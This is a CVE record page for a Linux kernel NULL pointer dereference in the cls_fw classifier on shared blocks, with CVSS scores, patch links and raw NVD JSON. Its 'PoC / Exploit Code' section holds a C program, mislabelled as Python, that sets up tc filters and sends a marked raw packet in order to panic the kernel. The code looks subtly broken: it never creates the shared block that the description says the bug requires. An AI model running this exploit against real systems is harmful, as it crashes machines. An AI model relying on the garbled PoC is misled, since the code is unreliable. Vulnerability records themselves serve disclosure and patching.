CVE-2026-31421

Description

In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_fw: fix NULL pointer dereference on shared blocks The old-method path in fw_classify() calls tcf_block_q() and dereferences q->handle. Shared blocks leave block->q NULL, causing a NULL deref when an empty cls_fw filter is attached to a shared block and a packet with a nonzero major skb mark is classified. Reject the configuration in fw_change() when the old method (no TCA_OPTIONS) is used on a shared block, since fw_classify()'s old-method path needs block->q which is NULL for shared blocks. The fixed null-ptr-deref calling stack: KASAN: null-ptr-deref in range [0x0000000000000038-0x000000000000003f] RIP: 0010:fw_classify (net/sched/cls_fw.c:81) Call Trace: tcf_classify (./include/net/tc_wrapper.h:197 net/sched/cls_api.c:1764 net/sched/cls_api.c:1860) tc_run (net/core/dev.c:4401) __dev_queue_xmit (net/core/dev.c:4535 net/core/dev.c:4790)

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_ether.h>

/*
 * PoC for CVE-2026-31421
 * Trigger: NULL pointer dereference in fw_classify
 * Context: Requires CAP_NET_ADMIN to setup tc, but trigger is via packet flow.
 */

void setup_tc_poc() {
    // Commands to reproduce the vulnerable state:
    // 1. Create a qdisc with clsact
    system("tc qdisc add dev lo root handle 1: clsact");
    
    // 2. Attach cls_fw filter using the 'old method' (no TCA_OPTIONS) to a shared block context
    // This specific configuration triggers the bug when block->q is NULL.
    system("tc filter add dev lo protocol ip parent 1:0 prio 1 handle ::1 fw");
}

void trigger_packet() {
    int sock;
    struct sockaddr_in addr;
    char packet[64];
    int mark = 1; // Non-zero mark is required to hit the old-method path

    sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock < 0) {
        perror("socket");
        return;
    }

    // Set the socket mark to trigger the specific classify path
    if (setsockopt(sock, SOL_SOCKET, SO_MARK, &mark, sizeof(mark)) < 0) {
        perror("setsockopt");
        close(sock);
        return;
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(80);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

    memset(packet, 0x41, sizeof(packet));

    // Send packet to trigger classification and crash
    sendto(sock, packet, sizeof(packet), 0, (struct sockaddr*)&addr, sizeof(addr));
    
    printf("Packet sent. If vulnerable, kernel panic should occur.\n");
    close(sock);
}

int main() {
    printf("Setting up tc configuration (requires root/CAP_NET_ADMIN)...\n");
    setup_tc_poc();
    
    printf("Triggering packet...\n");
    trigger_packet();
    
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31421
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31421
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31421/
[4] VulDB https://vuldb.com/cve/CVE-2026-31421
[5] https://git.kernel.org/stable/c/18328eff2f97d1a6adcdb6d4a0f42f2f83a31e28
[6] https://git.kernel.org/stable/c/3cb055df9e8625ce699a259d8178d67b37f2b160
[7] https://git.kernel.org/stable/c/3d41f9a314afa94b1c7c7c75405920123220e8cd
[8] https://git.kernel.org/stable/c/5cf41031922c154aa5ccda8bcdb0f5e6226582ec
[9] https://git.kernel.org/stable/c/96426c348def662b06bfdc65be3002905604927a
[10] https://git.kernel.org/stable/c/d6d5bd62a09650856e1e2010eb09853eba0d64e1
[11] https://git.kernel.org/stable/c/faeea8bbf6e958bf3c00cb08263109661975987c
[12] https://git.kernel.org/stable/c/febf64ca79a2d6540ab6e5e197fa0f4f7e84473e

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31421", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-13T14:16:11.740", "lastModified": "2026-05-20T18:10:34.707", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: cls_fw: fix NULL pointer dereference on shared blocks\n\nThe old-method path in fw_classify() calls tcf_block_q() and\ndereferences q->handle. Shared blocks leave block->q NULL, causing a\nNULL deref when an empty cls_fw filter is attached to a shared block\nand a packet with a nonzero major skb mark is classified.\n\nReject the configuration in fw_change() when the old method (no\nTCA_OPTIONS) is used on a shared block, since fw_classify()'s\nold-method path needs block->q which is NULL for shared blocks.\n\nThe fixed null-ptr-deref calling stack:\n KASAN: null-ptr-deref in range [0x0000000000000038-0x000000000000003f]\n RIP: 0010:fw_classify (net/sched/cls_fw.c:81)\n Call Trace:\n tcf_classify (./include/net/tc_wrapper.h:197 net/sched/cls_api.c:1764 net/sched/cls_api.c:1860)\n tc_run (net/core/dev.c:4401)\n __dev_queue_xmit (net/core/dev.c:4535 net/core/dev.c:4790)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "5.10.253", "matchCriteriaId": "202FFB00-4CA7-44CB-ACA1-E88A2BF2264B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/18328eff2f97d1a6adcdb6d4a0f42f2f83a31e28", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3cb055df9e8625ce699a259d8178d67b37f2b160", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3d41f9a314afa94b1c7c7c75405920123220e8cd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5cf41031922c154aa5ccda8bcdb0f5e6226582ec", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/96426c348def662b06bfdc65be3002905604927a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb0 ... (truncated)